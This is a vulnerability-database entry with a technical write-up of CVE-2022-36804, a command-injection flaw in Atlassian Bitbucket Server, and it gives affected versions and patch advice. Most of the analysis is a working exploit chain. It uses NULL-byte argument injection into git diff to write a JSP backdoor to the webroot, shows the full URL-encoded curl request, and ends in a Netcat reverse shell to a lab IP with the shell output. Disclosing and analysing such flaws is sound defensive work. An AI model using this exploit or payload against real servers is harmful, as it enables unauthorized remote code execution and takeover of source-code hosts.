Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2022-36804

Disclosure Date: August 24, 2022
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Defense Evasion
Techniques
Validation
Validated
Execution
Techniques
Validation
Validated
Persistence
Techniques
Validation
Validated
Validated
Privilege Escalation
Techniques
Validation
Validated

Description

Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.

Add Assessment

1
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Very easy patch to reverse and exploit to develop. Public proof of concept exist, as well as a Metasploit module. Very important to patch!

General Information

Vendors

  • Atlassian

Products

  • Bitbucket Server,
  • Bitbucket Data Center

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

On August 24, 2022, Atlassian posted an advisory for Bitbucket Server and Data Center alerting users to CVE-2022-36804. The advisory reveals a command injection vulnerability in multiple API endpoints, which allows an attacker with access to a public repository or with read permissions to a private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. According to Shodan, there are about 1,400 internet-facing servers, but we can’t tell how many have a public repository.

The original researcher indicated initially planned to release a proof of concept circa the end of September. However, multiple other public exploits are available as of September 20. We also diffed the patches and determined that the root cause is fairly easy to find and exploit, and therefore it is likely that attackers were either already exploiting this vulnerability or will begin to do so quickly. Some attackers claimed to be selling an exploit for $200 last week, but it’s equally likely that that was a scam.

Affected versions include, at a minimum:

  • Bitbucket Server and Data Center 7.6 prior to 7.6.17
  • Bitbucket Server and Data Center 7.17 prior to 7.17.10
  • Bitbucket Server and Data Center 7.21 prior to 7.21.4
  • Bitbucket Server and Data Center 8.0 prior to 8.0.3
  • Bitbucket Server and Data Center 8.1 prior to 8.1.3
  • Bitbucket Server and Data Center 8.2 prior to 8.2.2
  • Bitbucket Server and Data Center 8.3 prior to 8.3.1

Technical analysis

To analyze this patch, we downloaded a vulnerable and patched version of the application (specifically 8.0.2 and 8.0.3, but any pair are equally likely to work). We decompiled the source using jadx and then used diff -rub to analyze the changes. Other than version number changes, the core of the patch is basically this code, copied to a few other places, and some functions to support it:

         public Builder<T> environment(@Nonnull Map<String, String> map) {
-            this.environment.putAll((Map) Objects.requireNonNull(map, "environment"));
+            ((Map) Objects.requireNonNull(map, "environment")).forEach(key, value -> {
+                requireNonBlankAndNoNullChar(key, "key");
+                requireNoNullChars(value);
+            });
+            this.environment.putAll(map);
             return this;
         }

Effectively, it filters out NULL bytes (\x00 / %00) in command arguments. That tells us that we should be looking for NULL-byte injection on the shell. Typically, adding NULL bytes doesn’t let us run arbitrary commands, but could let us add extra command-line parameters.

To get more information about exactly which processes Bitbucket executes, we browsed around a public Bitbucket repo while running the tool forkstat. There’s lots of output, most of which uses the git command line tool; here’s a sample:

ron@bitbucket:/tmp$ sudo forkstat -e exec
[sudo] password for ron: 
Time     Event     PID Info   Duration Process
22:16:50 exec     6758                 /usr/bin/git ls-tree -z refs/heads/main: -- test2
22:16:50 exec     6759                 /usr/bin/git log --format=commit %H%n%H%x02%P%x02%aN%x02%aE%x02%at%x02%cN%x02%cE%x02%ct%n%B%n%x03END%x04 -2 --no-min-parents --stdin --do-walk --follow --name-status refs/heads/main -- test2

22:16:54 exec     6760                 /usr/bin/git for-each-ref --sort=-objecttype --format=%(refname)%02%(objectname)%02%(*objectname) refs/heads/ refs/tags/
22:16:54 exec     6761                 /usr/bin/git ls-tree -z refs/heads/main: -- test2
22:16:55 exec     6762                 /usr/bin/git log --format=commit %H%n%H%x02%P%x02%aN%x02%aE%x02%at%x02%cN%x02%cE%x02%ct%n%B%n%x03END%x04 -2 --no-min-parents --stdin --do-walk --follow --name-status refs/heads/main -- test2
22:16:55 exec     6763                 /usr/bin/git diff -C --color=never --dst-prefix=dst:// --src-prefix=src:// -U10 a462b2c60a1f5df5a728939e56e625a0546fa9fd cdf5643e7520315f13d7f18ba92b45389095f146 -- test2

Under the theory that we could use NULL bytes to inject extra arguments, we analyzed the various git commands to determine if the extra arguments can do anything interesting. We found the following argument to git diff:

--output=<file>
   Output to a specific file instead of stdout.

So we added %00 followed by an --output argument, then checked if the file exists:

$ curl 'http://localhost:7990/rest/api/latest/projects/TEST/repos/test/commits/cdf5643e7520315f13d7f18ba92b45389095f146/diff/test2?since=a462b2c60a1f5df5a728939e56e625a0546fa9fd%00--output=/tmp/akbtest.txt'

$ cat /tmp/akbtest.txt 
diff --git src://test2 dst://test2
index e965047..6ee16d0 100644
--- src://test2
+++ dst://test2
@@ -1 +1 @@
-Hello
+Hello, everyone!

Sure enough, we could write the output from git diff to an arbitrary file! There are a few options to add arbitrary text to the file, but the one we ended up using is --line-prefix, which puts it value before each and every line:

$ curl 'http://localhost:7990/rest/api/latest/projects/TEST/repos/test/commits/cdf5643e7520315f13d7f18ba92b45389095f146/diff/test2?since=a462b2c60a1f5df5a728939e56e625a0546fa9fd%00--output=/tmp/akbtest2.txt%00--line-prefix=TESTTEST'
{"fromHash":"a462b2c60a1f5df5a728939e56e625a0546fa9fd\u0000--output=/tmp/akbtest2.txt\u0000--line-prefix=TESTTEST","toHash":"cdf5643e7520315f13d7f18ba92b45389095f146","contextLines":10,"whitespace":"SHOW","diffs":[],"truncated":false}

$ cat /tmp/akbtest2.txt 
TESTTESTdiff --git src://test2 dst://test2
TESTTESTindex e965047..6ee16d0 100644
TESTTEST--- src://test2
TESTTEST+++ dst://test2
TESTTEST@@ -1 +1 @@
TESTTEST-Hello
TESTTEST+Hello, everyone!

Since it’s a Java-based application, and we have recent experience using JSP as an attack vector, we wrote a simple JSP backdoor. Here’s a very simple JSP file that’ll start a reverse Netcat shell (note that the server requires netcat-traditional for this particular vector):

<%Runtime.getRuntime().exec("nc -e /bin/sh 172.16.166.142 1234");if(Math.random() > -1) { return; }%>

The return is used to ensure the code only runs once – otherwise, we’ll get multiple shells. The Math.random() part tricks the interpreter into not realizing there is unreachable code.

On our analysis VM, we start a Netcat listener to catch the shell:

$ nc -v -l -p 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

Next, we run this command, which writes the payload (fully URL-encoded) to the file testakb.jsp in the webroot (the filename has to start with test to be picked up by the server for some reason), then trigger it:

$ curl 'http://localhost:7990/rest/api/latest/projects/TEST/repos/test/commits/cdf5643e7520315f13d7f18ba92b45389095f146/diff/test2?since=a462b2c60a1f5df5a728939e56e625a0546fa9fd%00--output=/opt/atlassian/bitbucket/8.0.2/app/testakb.jsp%00--line-prefix=%3c%25%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%31%37%32%2e%31%36%2e%31%36%36%2e%31%34%32%20%31%32%33%34%22%29%3b%69%66%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%20%3e%20%2d%31%29%20%7b%20%72%65%74%75%72%6e%3b%20%7d%25%3e'
{"fromHash":"a462b2c60a1f5df5a728939e56e625a0546fa9fd\u0000--output=/opt/atlassian/bitbucket/8.0.2/app/testakb.jsp\u0000--line-prefix=<%Runtime.getRuntime().exec(\"nc -e /bin/sh 172.16.166.142 1234\");if(Math.random() > -1) { return; }%>","toHash":"cdf5643e7520315f13d7f18ba92b45389095f146","contextLines":10,"whitespace":"SHOW","diffs":[],"truncated":false}

$ curl 'http://localhost:7990/testakb.jsp'

And confirm that our Netcat listener receives a shell:

$ nc -v -l -p 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.166.146.
Ncat: Connection from 172.16.166.146:37848.

whoami
atlbitbucket

pwd
/opt/atlassian/bitbucket/8.0.2/bin

And that’s how you use CVE-2022-36804 to create a simple reverse shell! There were previously signs that others had figured this out, too — given the ease of discovery, it’s likely exploits were already circulating privately prior to the availability of public PoC.

Public Exploit

Updated 2022-09-20

Since writing the above, a public proof of concept was written by SuperX@ Snow Winter Lab and posted to Twitter by @testanull. Their exploit uses the --exec and --remote flags on git archive, which is a much more direct way to run arbitrary code. We used that exploit as the basis of a Metasploit module.

Guidance

We recommend that organizations patch their Bitbucket instances as quickly as possible using Atlassian’s guide, because this vulnerability is very likely to be exploited in the near future. Organizations can also block network access to Bitbucket as a stop-gap solution.

References